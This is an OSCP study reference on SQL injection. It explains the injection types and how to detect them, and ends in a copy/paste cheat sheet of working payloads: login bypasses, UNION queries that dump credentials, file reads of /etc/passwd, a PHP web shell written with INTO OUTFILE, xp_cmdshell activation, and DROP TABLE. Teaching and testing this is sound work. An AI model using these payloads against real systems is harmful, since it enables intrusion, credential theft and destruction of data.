SQL Injection — Hub & Reference

What is SQL Injection?

SQL Injection (SQLi) occurs when user input is incorporated into a SQL query without proper sanitization, letting an attacker change the query’s logic. Impact ranges from reading database contents all the way to OS command execution.


SQLi Types — Overview

SQL Injection
├── In-Band (results returned in the HTTP response)
│   ├── Union-Based   → use UNION SELECT to pull data into the response
│   └── Error-Based   → trigger DB errors that contain data in their message
│
├── Inferential / Blind (no data in response — infer from behavior)
│   ├── Boolean-Based → True/False questions: does page change?
│   └── Time-Based    → SLEEP/WAITFOR: does page respond slowly?
│
├── Out-of-Band (data exfil via DNS or HTTP to attacker server — rare on OSCP)
│
└── Special
    ├── Second-Order  → payload stored, executed later in a different query
    └── Stacked       → inject multiple statements separated by ;
TypeData Returned?SpeedNotes
Union-BasedYes (in response)FastNeed to know column count + printable columns
Error-BasedYes (in error message)FastDB must display errors
Boolean BlindNo (page behavior)SlowBit-by-bit extraction
Time-Based BlindNo (response delay)SlowestWorks even when page looks identical
Second-OrderYes/NoVariesHarder to find — check profile, settings, etc.

OSCP strategy: Always try Union-Based first. If no errors and no visible change → Boolean blind. If still nothing → Time-based. Use SQLMap to automate if manual is taking too long.


📌 1) Detection — Finding SQLi

Step 1 — Identify injection points

Any user-supplied value that touches a query:

  • GET parameters: ?id=1, ?search=test, ?page=home
  • POST form fields: login forms, search boxes, profile updates
  • HTTP headers: User-Agent, Referer, X-Forwarded-For, Cookie
  • JSON/XML body parameters

Step 2 — Basic probes

'                     → syntax error? (most common indicator)
''                    → no error (confirms quote is meaningful)
"                     → try double-quote variant
`)                    → close parenthesis variant
\                     → escape test
;                     → statement terminator (stacked query)

Step 3 — Behavior-based confirmation

-- Numeric context
1 OR 1=1
	1 AND 1=2
1+1if result is "2"numeric injection
 
-- String context
' OR '1'='1
' AND '1'='2
 
-- Comment styles (try all if one doesn't work)
--        (MySQL, MSSQL, PostgreSQL)
#         (MySQL only — URL encode as %23)
/*        (C-style block comment — all DBs)
-- -      (SQLite, if space matters)
;--       (MSSQL with stacked queries)

Step 4 — Confirm the DB is injectable (ORDER BY trick)

-- Find the number of columns by increasing ORDER BY until error
?id=1 ORDER BY 1--      fine
?id=1 ORDER BY 2--      fine
?id=1 ORDER BY 3--      fine
?id=1 ORDER BY 4--      ERROR → 3 columns

Step 5 — Identify the database type

-- Each DB has unique functions
SELECT version()            -- MySQL, PostgreSQL
SELECT @@version            -- MySQL, MSSQL
SELECT @@SERVERNAME         -- MSSQL
SELECT banner FROM v$version  -- Oracle

Error messages often reveal DB type automatically.


📌 2) Authentication Bypass

Inject into the username field to short-circuit the WHERE clause:

-- Classic bypass (always true)
' OR 1=1--
' OR '1'='1'--
' OR 'a'='a
admin'--
admin' #
admin'/*
 
-- MSSQL syntax
admin'--
' OR 1=1--
 
-- Variations
') OR ('1'='1
') OR 1=1--
' OR 1=1 LIMIT 1--
1 OR 1=1

Vulnerable query:

SELECT * FROM users WHERE username='INPUT' AND password='INPUT'
-- Injecting admin'-- makes it:
SELECT * FROM users WHERE username='admin'--' AND password='...'
-- The password check is commented out → logged in as admin

Common patterns to try:

FieldPayload
Usernameadmin'--
Username' OR 1=1--
Usernameadmin'#
Passwordanything (when username already bypasses)
Both fields' OR '1'='1 in both

📌 3) Second-Order (Stored) SQLi

The malicious payload is stored in the database first, then executed later when it’s fetched and used in another query — without sanitization at the point of use.

How it works

1. Register username: admin'--
   → Application sanitizes input: admin''-- (escaped, no injection yet)
   → Stored in DB as: admin'--  ← the raw value is stored

2. Later, password-change feature fetches username and puts it in a query:
   UPDATE users SET password='new' WHERE username='admin'--'
   → The -- comments out the rest → updates ALL passwords!

Common locations

  • Username field used in later queries (profile update, password change, email template)
  • “Remember me” or session tokens
  • Search history stored and re-used
  • Saved filters / reports

Detection approach

1. Register with payload as username: admin'--
2. Trigger the stored value being used:
   - Change password
   - Update profile
   - View order history
   - Any feature that queries your own data
3. Observe unexpected behavior → confirms second-order

Example

-- Stored username: ' UNION SELECT username,password FROM users--
-- Later used in:
SELECT * FROM products WHERE category='[stored_value]'
-- Becomes:
SELECT * FROM products WHERE category='' UNION SELECT username,password FROM users--'

📌 4) Stacked Queries

Execute multiple SQL statements by separating with ;. Depends on the language/DB driver allowing it.

Supported: MSSQL ✅, PostgreSQL ✅, MySQL (with certain drivers) ✅, Oracle ❌

-- Run a second query
'; SELECT sleep(5)--          (MySQL)
'; WAITFOR DELAY '0:0:5'--    (MSSQL)
'; CREATE TABLE pwned(a text)--
'; EXEC xp_cmdshell 'whoami'-- (MSSQL — if xp_cmdshell enabled)
'; DROP TABLE users--

📌 5) Database Fingerprinting

Use these to identify the backend database:

-- MySQL
SELECT @@version
SELECT user()
SELECT database()
' AND SLEEP(5)--
 
-- MSSQL
SELECT @@version
SELECT @@SERVERNAME
SELECT DB_NAME()
' AND 1=CONVERT(int,(SELECT @@version))--   (error-based fingerprint)
 
-- PostgreSQL
SELECT version()
SELECT current_database()
SELECT pg_sleep(5)
 
-- Oracle
SELECT banner FROM v$version
SELECT user FROM dual
-- Uses DUAL, not information_schema
 
-- SQLite
SELECT sqlite_version()

📌 6) Key System Tables (Enumeration)

MySQL / MariaDB

-- Databases
SELECT schema_name FROM information_schema.schemata
 
-- Tables in a database
SELECT table_name FROM information_schema.tables WHERE table_schema='dbname'
 
-- Columns in a table
SELECT column_name FROM information_schema.columns WHERE table_name='users'
 
-- All in one
SELECT table_schema,table_name,column_name FROM information_schema.columns
 
-- Current user and DB
SELECT user(), database(), version()

MSSQL

-- Databases
SELECT name FROM master..sysdatabases
SELECT name FROM sys.databases
 
-- Tables
SELECT table_name FROM information_schema.tables
SELECT name FROM dbname..sysobjects WHERE xtype='U'
 
-- Columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'
 
-- Current user and DB
SELECT system_user, db_name(), @@version
 
-- Impersonation (if IMPERSONATE granted — privesc path)
'; EXECUTE AS LOGIN = ''sa''; SELECT SYSTEM_USER--
'; EXECUTE AS USER = ''dbo''; SELECT USER_NAME()--
'; REVERT--

→ impacket shell: enum_impersonate · exec_as_login · exec_as_userMSSQL

PostgreSQL

-- Databases
SELECT datname FROM pg_database
 
-- Tables
SELECT tablename FROM pg_tables WHERE schemaname='public'
 
-- Columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'
 
-- Current user and DB
SELECT current_user, current_database(), version()

Oracle

-- Tables (current user)
SELECT table_name FROM user_tables
-- All tables
SELECT owner,table_name FROM all_tables
 
-- Columns
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
 
-- Current user
SELECT user FROM dual

📌 7) Quick OSCP Methodology

1. Find input parameter  →  test with '
2. Get error?
   YES → Error-Based (see [[Union Based SQLi]])
   NO  → Try UNION-based:
         ?id=1 ORDER BY 1,2,3... until error → find column count
         ?id=0 UNION SELECT NULL,NULL,NULL...
         YES → Union-Based (see [[Union Based SQLi]])
         NO  → Blind:
               AND 1=1-- vs AND 1=2-- → different? Boolean Blind
               AND SLEEP(5)-- → slow? Time-Based Blind
               (see [[Blind SQLi]])

3. Once injectable → enumerate with SQLMap (see [[SQLMap]])
   sqlmap -r request.txt --dbs --batch

   WebSocket app? SQLMap needs HTTP — confirm SQLi in [[Burp Suite]] WS Repeater,
   then local HTTP→WS bridge → sqlmap -u "http://127.0.0.1:8081/?id=1" --batch

4. Escalate:
   - File read → LOAD_FILE('/etc/passwd')  [MySQL]
   - File write → INTO OUTFILE '/var/www/html/shell.php'  [MySQL]
   - File copy → LOAD_FILE('...') INTO OUTFILE '...'  [MySQL — see [[MySQL]]]
   - OS command → xp_cmdshell 'whoami'  [MSSQL]

📌 Quick OSCP Cheat Sheet (Copy/Paste)

-- ─── DETECTION ────────────────────────────────────────────────
'
''
' OR 1=1--
' AND 1=2--
' ORDER BY 1--
' ORDER BY 100-- (error = found column count boundary)
 
-- ─── AUTH BYPASS ──────────────────────────────────────────────
admin'--
' OR 1=1--
' OR '1'='1'--
 
-- ─── DB FINGERPRINT ───────────────────────────────────────────
' AND SLEEP(5)--          MySQL
' AND 1=CONVERT(int,(SELECT @@version))--   MSSQL (error-based)
' AND 1=1 AND pg_sleep(5)--   PostgreSQL
 
-- ─── UNION COLUMN COUNT ───────────────────────────────────────
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- (error = 2 cols)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
 
-- ─── UNION DATA EXTRACTION (3 cols, col 1 printable) ──────────
' UNION SELECT database(),NULL,NULL--
' UNION SELECT user(),NULL,NULL--
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password,NULL FROM users--
 
-- ─── BLIND BOOLEAN ────────────────────────────────────────────
' AND 1=1--   (true)
' AND 1=2--   (false)
' AND SUBSTRING(user(),1,1)='r'--
 
-- ─── BLIND TIME ───────────────────────────────────────────────
' AND SLEEP(5)--                 MySQL
'; WAITFOR DELAY '0:0:5'--       MSSQL
' AND 1=1 AND pg_sleep(5)--      PostgreSQL
 
-- ─── FILE READ / WRITE (MySQL) ────────────────────────────────
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--
' UNION SELECT "<?php system($_GET['cmd']); ?>",NULL,NULL INTO OUTFILE '/var/www/html/shell.php'--
' UNION SELECT LOAD_FILE('C:/Users/Administrator/Desktop/proof.txt'),NULL,NULL INTO OUTFILE '/TEMP/proof.txt'--
 
-- ─── MSSQL RCE ────────────────────────────────────────────────
'; EXEC xp_cmdshell 'whoami'--
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--